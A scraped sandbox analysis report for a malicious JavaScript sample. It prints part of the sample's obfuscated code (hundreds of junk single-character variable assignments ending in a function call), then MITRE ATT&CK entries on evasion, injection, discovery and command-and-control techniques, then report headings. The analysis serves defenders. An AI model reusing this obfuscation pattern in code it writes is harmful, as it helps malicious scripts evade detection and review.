417	gxdcnfh = "s";
418	gxdcnfh = "u";
419	gxdcnfh = "t";
420	gxdcnfh = "m";
421	gxdcnfh = "Z";
422	gxdcnfh = "n";
423	gxdcnfh = "u";
424	gxdcnfh = "d";
425	gxdcnfh = "/";
426	iffjh = "w";
427	iffjh = "u";
428	iffjh = "q";
429	iffjh = "j";
430	iffjh = "M";
431	iffjh = "Q";
432	iffjh = "i";
433	iffjh = "K";
434	iffjh = "J";
435	iffjh = "Z";
436	iffjh = "Z";
437	iffjh = "c";
438	iffjh = "H";
439	iffjh = "l";
440	xdnbncr = "Y";
441	xdnbncr = "A";
442	xdnbncr = "p";
443	xdnbncr = "f";
444	xdnbncr = "O";
445	xdnbncr = "R";
446	xdnbncr = "W";
447	xdnbncr = "H";
448	xdnbncr = "S";
449	xdnbncr = "B";
450	xdnbncr = "x";
451	xdnbncr = "P";
452	jsahmbec = "i";
453	jsahmbec = "O";
454	jsahmbec = "K";
455	jsahmbec = "G";
456	jsahmbec = "k";
457	jsahmbec = "E";
458	jsahmbec = "m";
459	jsahmbec = "G";
460	jsahmbec = "z";
461	jsahmbec = "R";
462	jsahmbec = "m";
463	jsahmbec = "O";
464	jsahmbec = "X";
465	jsahmbec = "k";
466	jsahmbec = "m";
467	jsahmbec = "v";
468	jsahmbec = "W";
469	jsahmbec = "L";
470	jsahmbec = "f";
471	jsahmbec = "P";
472	jsahmbec = "I";
473	jsahmbec = "s";
474	jsahmbec = "t";
475	jsahmbec = "Y";
476	jsahmbec = "D";
477	jsahmbec = "J";
478	jsahmbec = "S";
479	jsahmbec = "V";
480	jsahmbec = "L";
481	jsahmbec = "I";
482	jsahmbec = "d";
483	jsahmbec = "T";
484	jsahmbec = "u";
485	lnzql = "X";
486	lnzql = "o";
487	lnzql = "h";
488	lnzql = "J";
489	lnzql = "m";
490	lnzql = "a";
491	lnzql = "j";
492	lnzql = "l";
493	lnzql = "_";
494	vyqizazhc = "M";
495	vyqizazhc = "b";
496	vyqizazhc = "u";
497	vyqizazhc = "O";
498	vyqizazhc = "f";
499	vyqizazhc = "I";
500	vyqizazhc = "N";
501	czartovh = "v";
502	czartovh = "G";
503	czartovh = "P";
504	czartovh = "Z";
505	czartovh = "o";
506	czartovh = "n";
507	czartovh = "G";
508	czartovh = "e";
509	czartovh = "h";
510	czartovh = "J";
511	czartovh = "z";
512	czartovh = "J";
513	czartovh = "z";
514	czartovh = "F";
515	czartovh = "z";
516	czartovh = "T";
517	czartovh = "Z";
518	czartovh = "k";
519	ihdzo = "D";
520	ihdzo = "g";
521	ihdzo = "c";
522	ihdzo = "V";
523	ihdzo = "K";
524	ihdzo = "g";
525	ihdzo = "p";
526	ihdzo = "@";
527	xhwfikl = "t";
528	xhwfikl = "C";
529	xhwfikl = "E";
530	xhwfikl = "K";
531	xhwfikl = "p";
532	xhwfikl = "n";
533	xhwfikl = "O";
534	xhwfikl = "F";
535	xhwfikl = "P";
536	xhwfikl = "d";
537	xhwfikl = "R";
538	xhwfikl = "a";
539	xhwfikl = "j";
540	sggdai = "r";
541	sggdai = "S";
542	sggdai = "N";
543	sggdai = "q";
544	sggdai = "u";
545	sggdai = "t";
546	sggdai = "d";
547	sggdai = "T";
548	sggdai = "v";
549	sggdai = "e";
550	sggdai = "B";
551	sggdai = "g";
552	sggdai = "A";
553	sggdai = "f";
554	sggdai = "C";
555	sggdai = "h";
556	sggdai = "c";
557	sggdai = "V";
558	sggdai = "d";
559	sggdai = "e";
560	sggdai = "p";
561	sggdai = "B";
562	sggdai = "n";
563	sggdai = "n";
564	sggdai = "M";
565	sggdai = "U";
566	sggdai = "8";
567	awqvdxjyt = "W";
568	qeqtopb = "C";
569	qeqtopb = "I";
570	qeqtopb = "C";
571	qeqtopb = "w";
572	qeqtopb = "o";
573	qeqtopb = "b";
574	qeqtopb = "E";
575	qeqtopb = "m";
576	qeqtopb = "Z";
577	qeqtopb = "V";
578	qeqtopb = "I";
579	qeqtopb = "H";
580	qeqtopb = "S";
581	qeqtopb = "b";
582	qeqtopb = "X";
583	qeqtopb = "w";
584	qeqtopb = "i";
585	qeqtopb = "R";
586	qeqtopb = "W";
587	qeqtopb = "t";
588	qeqtopb = "t";
589	qeqtopb = "H";
590	qeqtopb = "L";
591	qeqtopb = "e";
592	qeqtopb = "Z";
593	qeqtopb = "W";
594	qeqtopb = "R";
595	qeqtopb = "P";
596	qeqtopb = "R";
597	qeqtopb = "S";
598	qeqtopb = "l";
599	qeqtopb = "g";
600	qeqtopb = "d";
601	qeqtopb = "r";
602	qeqtopb = "i";
603	qeqtopb = "i";
604	qeqtopb = "V";
605	qeqtopb = "j";
606	qeqtopb = "y";
607	qeqtopb = "o";
608	qeqtopb = "X";
609	qeqtopb = "S";
610	qeqtopb = "m";
611	qeqtopb = "s";
612	qeqtopb = "\\";
613	fgiww = "s";
614	fgiww = "L";
615	fgiww = "I";
616	fgiww = "U";
617	fgiww = "G";
618	fgiww = "M";
619	fgiww = "o";
620	fgiww = "i";
621	fgiww = "b";
622	fgiww = "Q";
623	fgiww = ":";
624	akweh = "c";
625	akweh = "s";
626	akweh = "Y";
627	akweh = "W";
628	akweh = "G";
629	akweh = "h";
630	akweh = "K";
631	akweh = "R";
632	akweh = "h";
633	akweh = "I";
634	akweh = "u";
635	akweh = "b";
636	akweh = "i";
637	akweh = "V";
638	akweh = "L";
639	akweh = "P";
640	akweh = "i";
641	akweh = "p";
642	akweh = "X";
643	akweh = "H";
644	akweh = "g";
645	akweh = "J";
646	akweh = "O";
647	vwtlku = "C";
648	vwtlku = "u";
649	vwtlku = "O";
650	vwtlku = "d";
651	vwtlku = "Q";
652	vwtlku = "U";
653	vwtlku = "m";
654	vwtlku = "h";
655	vwtlku = "J";
656	vwtlku = "p";
657	vwtlku = "k";
658	vwtlku = "d";
659	vwtlku = "c";
660	vwtlku = "m";
661	vwtlku = "i";
662	vwtlku = "w";
663	vwtlku = "k";
664	vwtlku = "J";
665	vwtlku = "O";
666	vwtlku = "t";
667	vwtlku = "a";
668	vwtlku = "O";
669	vwtlku = "V";
670	vwtlku = "V";
671	vwtlku = "u";
672	vwtlku = "n";
673	vwtlku = "b";
674	vwtlku = "x";
675	vwtlku = "Z";
676	vwtlku = "v";
677	vwtlku = "z";
678	vwtlku = "J";
679	vwtlku = "W";
680	vwtlku = "y";
681	vwtlku = "S";
682	vwtlku = "o";
683	vwtlku = "g";
684	vwtlku = "R";
685	vwtlku = "V";
686	vwtlku = "m";
687	vwtlku = "n";
688	agivcfud = "c";
689	agivcfud = "y";
690	agivcfud = "I";
691	agivcfud = "O";
692	agivcfud = "w";
693	dqgxntuew = "t";
694	dqgxntuew = "t";
695	dqgxntuew = "M";
696	dqgxntuew = "n";
697	dqgxntuew = "n";
698	dqgxntuew = "2";
699	wwziryb = "R";
700	wwziryb = "x";
701	wwziryb = "k";
702	wwziryb = "q";
703	wwziryb = "U";
704	wwziryb = "y";
705	wwziryb = "r";
706	wwziryb = "r";
707	wwziryb = "u";
708	wwziryb = "B";
709	wwziryb = "T";
710	wwziryb = "V";
711	wwziryb = "b";
712	wwziryb = "e";
713	wwziryb = "n";
714	wwziryb = "E";
715	wwziryb = "m";
716	wwziryb = "x";
717	fsyzsca = "5";
718	ppfbcx = "M";
719	ppfbcx = "c";
720	ppfbcx = "D";
721	ppfbcx = "p";
722	ppfbcx = "U";
723	ppfbcx = "A";
724	ppfbcx = "t";
725	ppfbcx = "l";
726	ppfbcx = "J";
727	ppfbcx = "r";
728	ppfbcx = "f";
729	ppfbcx = "q";
730	vhxtkf = "B";
731	vhxtkf = "t";
732	vhxtkf = "g";
733	vhxtkf = "Y";
734	vhxtkf = "l";
735	vhxtkf = "y";
736	vhxtkf = "c";
737	vhxtkf = "I";
738	vhxtkf = "P";
739	vhxtkf = "w";
740	vhxtkf = "S";
741	vhxtkf = "q";
742	vhxtkf = "V";
743	vhxtkf = "e";
744	vhxtkf = "O";
745	vhxtkf = "u";
746	vhxtkf = "r";
747	vhxtkf = "g";
748	vhxtkf = "h";
749	vhxtkf = "h";
750	vhxtkf = "v";
751	vhxtkf = "c";
752	vhxtkf = "P";
753	vhxtkf = "T";
754	vhxtkf = "B";
755	vhxtkf = "3";
756	uzhtjc = "X";
757	uzhtjc = "m";
758	uzhtjc = "K";
759	uzhtjc = "R";
760	uzhtjc = "Q";
761	uzhtjc = "J";
762	uzhtjc = "O";
763	uzhtjc = "J";
764	uzhtjc = "H";
765	uzhtjc = "g";
766	uzhtjc = "Y";
767	uzhtjc = "j";
768	uzhtjc = "M";
769	uzhtjc = "K";
770	uzhtjc = "W";
771	uzhtjc = "S";
772	uzhtjc = "J";
773	uzhtjc = "O";
774	uzhtjc = "K";
775	uzhtjc = "P";
776	uzhtjc = "C";
777	uzhtjc = "m";
778	uzhtjc = "U";
779	uzhtjc = "c";
780	uzhtjc = "n";
781	uzhtjc = "n";
782	uzhtjc = "U";
783	uzhtjc = "z";
784	uzhtjc = "N";
785	uzhtjc = "C";
786	uzhtjc = "K";
787	uzhtjc = "x";
788	uzhtjc = "q";
789	uzhtjc = "Q";
790	uzhtjc = "F";
791	uzhtjc = "B";
792	uzhtjc = "p";
793	uzhtjc = "P";
794	uzhtjc = "U";
795	uzhtjc = "C";
796	uzhtjc = "w";
797	uzhtjc = "0";
798	fmdhxte = "H";
799	fmdhxte = "s";
800	fmdhxte = "x";
801	fmdhxte = "Q";
802	fmdhxte = "M";
803	fmdhxte = "l";
804	fmdhxte = "p";
805	fmdhxte = "B";
806	fmdhxte = "q";
807	fmdhxte = "q";
808	fmdhxte = "w";
809	fmdhxte = "R";
810	fmdhxte = "R";
811	fmdhxte = "z";
812	fmdhxte = "Q";
813	fmdhxte = "B";
814	fmdhxte = "9";
815	opeuu = "g";
816	opeuu = "e";
817	opeuu = "l";
818	opeuu = "Q";
819	opeuu = "B";
820	opeuu = "b";
821	opeuu = "l";
822	opeuu = "C";
823	opeuu = "p";
824	opeuu = "f";
825	opeuu = "o";
826	opeuu = "M";
827	opeuu = "O";
828	opeuu = "P";
829	opeuu = "s";
830	opeuu = "S";
831	opeuu = "Y";
832	opeuu = "K";
833	opeuu = "a";
834	opeuu = "L";
835	opeuu = "o";
836	opeuu = "F";
837	opeuu = "a";
838	opeuu = "i";
839	opeuu = "l";
840	opeuu = "M";
841	opeuu = "d";
842	opeuu = "E";
843	opeuu = "e";
844	opeuu = "p";
845	opeuu = "D";
846	opeuu = "Y";
847	opeuu = "e";
848	opeuu = "X";
849	opeuu = "T";
850	opeuu = "F";
851	opeuu = "e";
852	opeuu = "C";
853	opeuu = "f";
854	opeuu = "b";
855	opeuu = "V";
856	opeuu = "a";
857	opeuu = "T";
858	gkcdkrkgp = "k";
859	gkcdkrkgp = "e";
860	gkcdkrkgp = "H";
861	gkcdkrkgp = "D";
862	gkcdkrkgp = "b";
863	gkcdkrkgp = "W";
864	gkcdkrkgp = "m";
865	gkcdkrkgp = "D";
866	gkcdkrkgp = "b";
867	gkcdkrkgp = "W";
868	gkcdkrkgp = "k";
869	gkcdkrkgp = "F";
870	gkcdkrkgp = "w";
871	gkcdkrkgp = "b";
872	gkcdkrkgp = "B";
873	gkcdkrkgp = "j";
874	gkcdkrkgp = "v";
875	gkcdkrkgp = "l";
876	gkcdkrkgp = "W";
877	gkcdkrkgp = "G";
878	gkcdkrkgp = "Z";
879	gkcdkrkgp = "h";
880	gkcdkrkgp = "T";
881	gkcdkrkgp = "B";
882	gkcdkrkgp = "q";
883	gkcdkrkgp = "W";
884	gkcdkrkgp = "E";
885	gkcdkrkgp = "o";
886	gkcdkrkgp = "K";
887	gkcdkrkgp = "f";
888	gkcdkrkgp = "r";
889	gkcdkrkgp = "O";
890	gkcdkrkgp = "z";
891	gkcdkrkgp = "J";
892	gkcdkrkgp = "O";
893	gkcdkrkgp = "o";
894	gkcdkrkgp = "l";
895	gkcdkrkgp = "Z";
896	gkcdkrkgp = "4";
897	hnlsit = "L";
898	hnlsit = "y";
899	hnlsit = "j";
900	hnlsit = "H";
901	hnlsit = "C";
902	hnlsit = "I";
903	hnlsit = "m";
904	hnlsit = "b";
905	hnlsit = "q";
906	hnlsit = "c";
907	hnlsit = "H";
908	hnlsit = "M";
909	hnlsit = "c";
910	hnlsit = "V";
911	hnlsit = "K";
912	hnlsit = "D";
913	hnlsit = "O";
914	hnlsit = "O";
915	hnlsit = "u";
916	hnlsit = "N";
917	hnlsit = "D";
918	hnlsit = "d";
919	hnlsit = "f";
920	hnlsit = "c";
921	hnlsit = "W";
922	hnlsit = "i";
923	lauxulnf = "n";
924	lauxulnf = "i";
925	lauxulnf = "B";
926	lauxulnf = "C";
927	lauxulnf = "m";
928	lauxulnf = "r";
929	lauxulnf = "I";
930	lauxulnf = "w";
931	lauxulnf = "h";
932	lauxulnf = "G";
933	lauxulnf = "k";
934	lauxulnf = "R";
935	lauxulnf = "s";
936	lauxulnf = "l";
937	lauxulnf = "f";
938	lauxulnf = "X";
939	lauxulnf = "l";
940	lauxulnf = "E";
941	lauxulnf = "z";
942	lauxulnf = "N";
943	lauxulnf = "a";
944	lauxulnf = "b";
945	lauxulnf = "g";
946	lauxulnf = "l";
947	lauxulnf = "C";
948	lauxulnf = "g";
949	qvbrrwlag = "d";
950	qvbrrwlag = "b";
951	qvbrrwlag = "Z";
952	qvbrrwlag = "G";
953	qvbrrwlag = "V";
954	qvbrrwlag = "b";
955	qvbrrwlag = "t";
956	qvbrrwlag = "Y";
957	qvbrrwlag = "f";
958	qvbrrwlag = " ";
959	qaggtmyg = "t";
960	qaggtmyg = "d";
961	qaggtmyg = "f";
962	qaggtmyg = "r";
963	qaggtmyg = "P";
964	qaggtmyg = "U";
965	qaggtmyg = "E";
966	qaggtmyg = "o";
967	qaggtmyg = "W";
968	qaggtmyg = "D";
969	qaggtmyg = "q";
970	qaggtmyg = "h";
971	qaggtmyg = "V";
972	qaggtmyg = "D";
973	qaggtmyg = "F";
974	qaggtmyg = "B";
975	qaggtmyg = "C";
976	qaggtmyg = "C";
977	qaggtmyg = "R";
978	qaggtmyg = "j";
979	qaggtmyg = "q";
980	qaggtmyg = "a";
981	zonbailn = "g";
982	zonbailn = "n";
983	zonbailn = "d";
984	zonbailn = "M";
985	zonbailn = "n";
986	zonbailn = "f";
987	zonbailn = "r";
988	zonbailn = "b";
989	zonbailn = "P";
990	zonbailn = "Y";
991	zonbailn = "d";
992	zonbailn = "a";
993	zonbailn = "h";
994	zonbailn = "k";
995	zonbailn = "T";
996	zonbailn = "d";
997	zonbailn = "R";
998	zonbailn = "j";
999	zonbailn = "j";
1000	zonbailn = "y";
1001	zonbailn = "F";
1002	zonbailn = "Z";
1003	zonbailn = "Y";
1004	yzlumegu = "Q";
1005	yzlumegu = "n";
1006	yzlumegu = "j";
1007	yzlumegu = "M";
1008	yzlumegu = "k";
1009	yzlumegu = "n";
1010	yzlumegu = "d";
1011	xwoli = "s";
1012	kvihv = "n";
1013	kvihv = "D";
1014	kvihv = "D";
1015	kvihv = "R";
1016	kvihv = "I";
1017	kvihv = "q";
1018	kvihv = "P";
1019	kvihv = "P";
1020	kvihv = "N";
1021	kvihv = "x";
1022	kvihv = "s";
1023	kvihv = "Y";
1024	kvihv = "f";
1025	kvihv = "x";
1026	kvihv = "R";
1027	kvihv = "w";
1028	kvihv = "X";
1029	kvihv = "j";
1030	kvihv = "m";
1031	kvihv = "L";
1032	kvihv = "O";
1033	kvihv = "Y";
1034	kvihv = "Y";
1035	kvihv = "p";
1036	kvihv = "J";
1037	kvihv = "U";
1038	kvihv = "F";
1039	kvihv = "l";
1040	kvihv = "B";
1041	kvihv = "R";
1042	kvihv = "W";
1043	kvihv = "o";
1044	mhyzix = "L";
1045	mhyzix = "B";
1046	mhyzix = "V";
1047	mhyzix = "U";
1048	mhyzix = "f";
1049	mhyzix = "R";
1050	mhyzix = "f";
1051	oxnwe = "h";
1052	oxnwe = "C";
1053	oxnwe = "f";
1054	oxnwe = "I";
1055	oxnwe = "y";
1056	oxnwe = "y";
1057	oxnwe = "l";
1058	oxnwe = "y";
1059	oxnwe = "E";
1060	oxnwe = "w";
1061	oxnwe = "O";
1062	oxnwe = "z";
1063	oxnwe = "f";
1064	oxnwe = "v";
1065	oxnwe = "w";
1066	oxnwe = ".";
1067	qnxlcv = "Y";
1068	qnxlcv = "C";
1069	qnxlcv = "c";
1070	qnxlcv = "O";
1071	qnxlcv = "u";
1072	qnxlcv = "L";
1073	qnxlcv = "x";
1074	qnxlcv = "Z";
1075	qnxlcv = "Q";
1076	qnxlcv = "y";
1077	qnxlcv = "x";
1078	qnxlcv = "w";
1079	qnxlcv = "P";
1080	qnxlcv = "g";
1081	qnxlcv = "E";
1082	qnxlcv = "A";
1083	qnxlcv = "t";
1084	qnxlcv = "%";
1085	hjmhbv = "K";
1086	hjmhbv = "R";
1087	hjmhbv = "N";
1088	hjmhbv = "X";
1089	hjmhbv = "a";
1090	hjmhbv = "q";
1091	hjmhbv = "s";
1092	hjmhbv = "X";
1093	hjmhbv = "A";
1094	hjmhbv = "j";
1095	hjmhbv = "o";
1096	hjmhbv = "V";
1097	hjmhbv = "p";
1098	hjmhbv = "G";
1099	hjmhbv = "n";
1100	hjmhbv = "H";
1101	hjmhbv = "C";
1102	hjmhbv = "P";
1103	hjmhbv = "T";
1104	hjmhbv = "P";
1105	hjmhbv = "c";
1106	hjmhbv = "t";
1107	hjmhbv = "j";
1108	hjmhbv = "q";
1109	hjmhbv = "U";
1110	hjmhbv = "k";
1111	hjmhbv = "p";
1112	hjmhbv = "V";
1113	hjmhbv = "Q";
1114	hjmhbv = "a";
1115	hjmhbv = "v";
1116	hjmhbv = "t";
1117	hjmhbv = "r";
1118	ksqcmmofo = "X";
1119	ksqcmmofo = "h";
1120	ksqcmmofo = "X";
1121	ksqcmmofo = "s";
1122	ksqcmmofo = "S";
1123	ksqcmmofo = "S";
1124	ksqcmmofo = "a";
1125	ksqcmmofo = "D";
1126	ksqcmmofo = "D";
1127	ksqcmmofo = "F";
1128	ksqcmmofo = "a";
1129	ksqcmmofo = "r";
1130	ksqcmmofo = "j";
1131	ksqcmmofo = "H";
1132	ksqcmmofo = "B";
1133	ksqcmmofo = "s";
1134	ksqcmmofo = "V";
1135	ksqcmmofo = "N";
1136	ksqcmmofo = "s";
1137	ksqcmmofo = "a";
1138	ksqcmmofo = "T";
1139	ksqcmmofo = "D";
1140	ksqcmmofo = "C";
1141	ksqcmmofo = "T";
1142	ksqcmmofo = "r";
1143	ksqcmmofo = "y";
1144	ksqcmmofo = "F";
1145	ksqcmmofo = "W";
1146	ksqcmmofo = "-";
1147	bvkwjupeh = "i";
1148	bvkwjupeh = "e";
1149	bvkwjupeh = "m";
1150	bvkwjupeh = "v";
1151	bvkwjupeh = "L";
1152	bvkwjupeh = "Q";
1153	bvkwjupeh = "A";
1154	bvkwjupeh = "&";
1155	uenctgao = "F";
1156	uenctgao = "j";
1157	uenctgao = "W";
1158	uenctgao = "C";
1159	uenctgao = "u";
1160	uenctgao = "O";
1161	uenctgao = "L";
1162	uenctgao = "Y";
1163	uenctgao = "W";
1164	uenctgao = "G";
1165	uenctgao = "A";
1166	uenctgao = "w";
1167	uenctgao = "c";
1168	uenctgao = "f";
1169	uenctgao = "P";
1170	uenctgao = "Y";
1171	uenctgao = "u";
1172	uenctgao = "s";
1173	uenctgao = "y";
1174	uenctgao = "w";
1175	uenctgao = "H";
1176	uenctgao = "m";
1177	aeqqxnejt = "U";
1178	aeqqxnejt = "C";
1179	aeqqxnejt = "e";
1180	aeqqxnejt = "G";
1181	aeqqxnejt = "c";
1182	aeqqxnejt = "L";
1183	aeqqxnejt = "s";
1184	aeqqxnejt = "B";
1185	aeqqxnejt = "h";
1186	amsdn ( );	amsdn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1147112155713680.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

